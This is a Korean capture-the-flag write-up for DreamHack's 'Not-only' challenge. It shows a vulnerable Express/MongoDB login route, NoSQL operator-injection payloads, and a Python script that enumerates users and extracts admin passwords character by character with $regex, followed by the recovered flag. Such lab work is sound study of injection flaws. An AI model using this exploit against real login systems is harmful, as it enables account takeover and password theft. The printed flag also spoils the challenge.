[🥈 Silver 3] NoSQL 연산자 주입으로 admin 비밀번호 훔치기 — DreamHack Not-only 풀이

// routes/login.js
router.post('/', (req, res) => {
    const uid = req.body.uid;
    const upw = req.body.upw;
 
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            req.session.user = { uid: result['uid'], admin: result['admin']};
            res.redirect('/user');
        }else{
            res.redirect('/login');
        }
    });
});

app.use(express.urlencoded({ extended: false }));
app.use(express.json());        // ← JSON 바디를 객체로 파싱

<!-- views/user.ejs -->
<h1>Welcome, <%= user.uid %></h1>
<p>Your admin auth: <%= user.admin %></p>

{ "uid": { "$ne": null }, "upw": { "$ne": null } }

db.user.insert({"uid": "admin", "upw": "**sample**", "admin": 0});

{ "uid": { "$nin": ["guest"] }, "upw": { "$ne": null } }

{ "uid": "testuser", "upw": { "$regex": "^DH\\{0da" } }

# solve.py
import requests, re, string, sys
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:3000"
LOGIN = BASE + "/login"
USER = BASE + "/user"
 
 
def login(uid, upw):
    """매칭이면 세션 쿠키가 담긴 Session, 아니면 None. (라이브가 가끔 느려 재시도)"""
    for _ in range(5):
        try:
            s = requests.Session()
            r = s.post(LOGIN, json={"uid": uid, "upw": upw},
                       allow_redirects=False, timeout=20)
            return s if r.headers.get("Location", "").endswith("/user") else None
        except requests.RequestException:
            continue
    return None
 
 
def whoami(s):
    html = s.get(USER, timeout=15).text
    uid = re.search(r"Welcome,\s*([^<]+)</h1>", html)
    adm = re.search(r"admin auth:\s*([^<]+)</p>", html)
    return (uid.group(1).strip() if uid else None,
            adm.group(1).strip() if adm else None)
 
 
def enumerate_users():
    """$nin 으로 유저를 순차적으로 끌어내 전체 (uid, admin) 수집."""
    users, seen = [], []
    while True:
        s = login({"$nin": seen}, {"$ne": None})
        if not s:
            break
        uid, admin = whoami(s)
        if uid is None or uid in seen:
            break
        users.append((uid, admin))
        seen.append(uid)
    return users
 
 
def extract_pw(uid):
    """admin uid 의 upw 를 $regex 로 한 글자씩 추출."""
    charset = string.digits + string.ascii_letters + "{}"
    pw = ""
    while True:
        if login(uid, {"$regex": "^" + re.escape(pw) + "$"}):
            break
        for c in charset:
            if login(uid, {"$regex": "^" + re.escape(pw + c)}):
                pw += c
                print(f"\r[*] {uid} pw: {pw}", end="", flush=True)
                break
        else:
            break
    print()
    return pw
 
 
print(f"[*] target: {BASE}")
users = enumerate_users()
print(f"[+] {len(users)} users found")
for uid, admin in users:
    mark = "  <== ADMIN" if admin not in ("0", None) else ""
    print(f"    {uid:10} admin={admin}{mark}")
admins = [u for u, a in users if a not in ("0", None)]
print(f"[+] admin users ({len(admins)}): {admins}")
 
pieces = {}
for uid in admins:
    pieces[uid] = extract_pw(uid)
    print(f"[+] {uid:10} password = {pieces[uid]}")
 
# 플래그는 admin 비밀번호들이 반씩 쪼개진 것 — DH{ 로 시작하는 조각이 앞, } 로 끝나는 게 뒤
head = next((p for p in pieces.values() if p.startswith("DH{")), "")
tail = next((p for p in pieces.values() if p.endswith("}")), "")
middle = [p for p in pieces.values() if p is not head and p is not tail]
print(f"[+] FLAG = {head + ''.join(middle) + tail}")

testuser : DH{0da0d81e54f57b
cream    :                  e1b67f0e666e326954}
─────────────────────────────────────────────
FLAG     : DH{0da0d81e54f57be1b67f0e666e326954}